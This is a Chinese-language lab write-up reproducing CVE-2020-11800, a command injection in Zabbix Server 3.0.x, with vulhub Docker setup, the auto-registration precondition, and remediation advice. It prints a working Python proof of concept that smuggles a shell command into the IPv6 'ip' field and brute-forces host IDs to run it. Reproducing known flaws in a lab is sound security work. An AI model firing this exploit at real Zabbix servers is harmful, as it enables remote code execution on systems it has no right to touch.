CVE-2020-11800 Zabbix 命令注入漏洞复现

CVE-2020-11800 Zabbix 命令注入漏洞复现

海狼风暴团队 2025-06-04 09:48

漏洞简述

Zabbix Server的Trapper Command功能存在代码执行漏洞,攻击者可通过 IPv6 进行绕过并注入任意命令,导致远程代码执行。

受影响版本

Zabbix 3.0.x~3.0.30

图片

漏洞环境搭建

图片

知识扩展

Zabbix 是由 Alexei Vladishev 开发的网络监控系统,采用 Server-Client 架构,支持实时监控、报警机制、性能统计和数据可视化,用于保障服务器安全运营并快速定位问题。

漏洞环境搭建

漏洞环境搭建

漏洞环境搭建

漏洞环境搭建

漏洞环境搭建

漏洞环境搭建

1.克隆 VulHub 仓库到本地

git clone https://bgithub.xyz/vulhub/vulhub.git

image.png

  1. 进入到vulhub的目录
cd vulhub/zabbix/CVE-2020-11800
docker-compose up -d

3.在靶机对Zabbix进行配置,登录页面默认账号密码admin/zabbix,输入后,登录成功。

4.本漏洞的前提条件是Zabbix开启自动注册功能,下面在靶机进行配置。

进入Configuration->Actions后,选择Auto registration,点击Create action

name随便输入

进入Operations,type选择Add Host,然后点击Add添加,再点击Add保存。

5.至此,靶机漏洞环境搭建完毕。

漏洞验证

  1. 利用互联网公开POC攻击:
python 1.py 192.168.23.17

import sys
import socket
import json
import sys
def send(ip, data):
    conn=socket.create_connection((ip, 10051), 10)
    conn.send(json.dumps(data).encode())
    data=conn.recv(2048)
    conn.close()
    return data
target=sys.argv[1]
print(send(target, {"request":"active checks","host":"vulhub","ip":"ffff:::;touch /tmp/success2"}))
for i in range(10000, 10500):
    data=send(target, {"request":"command","scriptid":1,"hostid":str(i)})
    if data and b'failed'not in data:
        print('hostid: %d'%i)
        print(data)

2.在靶机进行查看,发现/tmp目录下success2文件已经成功写入。

修复建议

1.升级Zabbix至最新版本;

2.关闭自动注册功能:

进入 Configuration -> Actions。找到与Auto registration相关的Action,将其禁用或删除。

再利用脚本进行攻击:

可以看出来有效防御攻击。

– 扫码立即关注 –